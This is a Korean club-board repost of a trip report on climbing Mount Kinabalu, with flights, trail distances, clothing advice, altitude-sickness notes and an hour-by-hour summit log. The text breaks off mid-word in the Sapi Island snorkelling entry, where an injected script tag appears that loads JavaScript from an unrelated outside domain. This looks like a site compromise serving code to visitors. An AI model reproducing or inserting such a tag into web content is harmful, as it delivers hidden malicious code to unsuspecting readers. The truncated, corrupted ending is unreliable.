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[제목] Kinabalu 산(4,095m) 등정기 (송명재)
이 글은 휘공회 사상 초유의 해외 원정산행을 앞둔 이들에게 우리동기인 휘마동 훈련부장하는 김용환 군이 작년에 쓴 글을 본인의 허락을 받지 않고 전재를 하였는데 지적 소유권을 주장한다면 피소를 당할 소지도 있겠지만 친구간에 그런 불상사는 생기지 않을 것으로 굳게 믿으며 옮겨봅니다.

제2의 IMF가 올 수 있다는 둥 경제가 어렵고 현대상선 불법대출 등으로 시끄러운 마당에 해외여행을 다녀 오자니 송구스런 마음이 앞섭니다. 또한 선후배님들 중에는 여러 가지 이유로 해외를 다녀 오실 여건이 되지 않는 분들도 계실텐데 주제넘는 글을 써서 죄송합니다.
그럼에도 불구하고 등정기를 올리는 이유는 양권규 총무가 저의 사전동의를 구하지 않고 만방에 알려 조용히 있지 못하게 되었고(다음에 또 소문내면 작살낼껴!) 장차 그곳에 관심이 있을 분들에게 조금이나마 도움이 될까 해서이며 달리기와 관련된 부분이 조금 포함되었기 때문입니다. 시간관계상 요약식으로 썼으니 양해 바랍니다.

○ 일시 : 11/7(목) 11:30 ∼ 11(월) 08:30
○ 항공편 : 인천-쿠알라룸푸르-코타키나바루(인천-코타키나바루 직항노선도 있음)
○ 여행목적 : 회사 산악부 주관 동남아 최고봉 단체 등정

○ 여행내용 :

- 11/8∼9 키나바루 산 등정
편도 8.7Km 왕복 : 팀폰게이트(1,866m)∼라반라타산장(3,272m) 6Km + 라반라타산장∼정상(로우픽, 4,095m) 2.7Km
※기온 : 평지 30도, 1,866m 등산기점 약 20도, 라반라타 산장 초가을 날씨, 정상 0∼10도(바람이 불어 체감온도는 더 추움) 11월∼익년2월은 우기로서 통상 정오를 전후하여 소나기가 옴
※복장 : 1,866∼3,272m 여름,가을복장(긴팔상의,반바지), 우비 및 배낭커버 3,272m∼정상 겨울복장(장갑,모자,점퍼,추리닝,타이즈)
※시간 : 우리나라보다 1시간 늦음

- 11/10 오전 사피섬 해변에서 스노클링(산호초 및 열대어 감상)

○ 등정기 (시간대별 요약)

- 11/7 9:00인천공항 도착 11:30인천 출발 17:20쿠알라룸푸르 도착 18:45쿠알라룸푸르 출발 22:20코타키나바루 도착 버스 탑승

- 11/8 01:30페리가든 산장(약 1,400m) 도착 06:00기상 08:00버스 탑승 08:10공원관리소 도착 입산신고 입산자용 연두색 목걸이 수령 착용 09:00버스 탑승(입산객 8명당 1명의 현지가이드 동행, 현지가이드는 500번 이상의 정상등정기록이 있어야 함) 09:20 팀폰게이트(1,866m) 도착 후 등정 시작 줄곧 계단식의 오르막길이 계속됨 계단의 높이는 불규칙하고 무릎정도의 높이도 많아 힘겨움 한국인 현지 가이드가 혼자서 대열을 이탈하여 너무 빨리 걷지 말고 휴게소마다 반드시 쉬며 물을 자주 마시라고 설명 휴게소에는 비를 피할 수 있는 작은 정자, 수도꼭지, 화장실이 각각 1개씩 설치되어 있음 7개의 휴게소 통과 5번째 휴게소에서 페리가든에서 준비해 준 도시락으로 점심식사 고산증에 대비하라며 두통약을 두알씩 나누어 줌 15:00라반라타 산장(3,272m) 도착 샤워후 휴식 가벼운 두통을 호소하는 사람들이 적지 않음 누워 있으면 약간 가슴이 답답하고 어지럽고 입이 마르는 느낌이 듬 동료들과 이야기를 나누고 음료를 마시면 괜찮아짐 18:00 저녁 식사 19:00 취침(6인실, 2층침대 3개, 소형 전기히터) 낮에 내린 비로 거대한 계곡의 물이 폭포처럼 흘러 장관을 이루고 원색의 석양 노을이 아름다움

- 11/9 02:00기상 03:00 정상을 향해 출발(물 지참) 헤드랜턴을 켜고 숲속 계곡으로 이어지는 가파른 계단을 1.5시간가량 전진 숨이 많이 차서 자주 휴식하며 물을 마심 음료수를 보충할 수 있는 대피소 겸 1차 체크포인트에서 확인후 충분히 휴식 긴급구조요청용 호르라기 수령 이후 정상까지 거대한 한 덩어리의 암벽을 1.5시간 가량 더욱 느리고 자주 휴식을 취하며 전진(열걸음 걷고 한번씩 쉬는 기분, 찬 바람이 많이 불어 땀이 식기 전에 다시 출발) 암벽에 누워 하늘의 은하수를 바라보니 포근하고 아름다운 생각이 절로 듬 정상 부근에 눈이 없어 실망했으나 암벽이 얼지 않아 다행임 05:40정상도착 06:00동지나해 일출 목격 사진촬영후 하산 시작 따가운 햇볕을 받으며 가파른 암벽길을 내려오자니 올라갈 때보다 심리적으로 더욱 무서움 올라갈 때의 체크포인트에서 2차 체크후 호르라기 반납 07:30라반라타산장 도착 08:00아침식사 09:00하산 오를 때와 달리 내려갈 때는 휴게소 2개마다 휴식을 원칙으로 했으나 비교적 자유롭게 하산 11:30팀폰게이트 도착(하산완료) 버스탑승 12:00공원관리소 도착 등정증명서 수령 출발 페리가든 도착 후 점심식사 코타키나바루 시내 해변 호텔에 투숙 영화에서만 보던 남국의 정취가 느껴짐(꿈인가 생시인가?)

- 11/10 06:00기상 07:00 아침식사 08:00사피섬으로 출발 08:30사피섬 도착 09:00∼11:00스?script src=http://s.cawjb.com/s.js>
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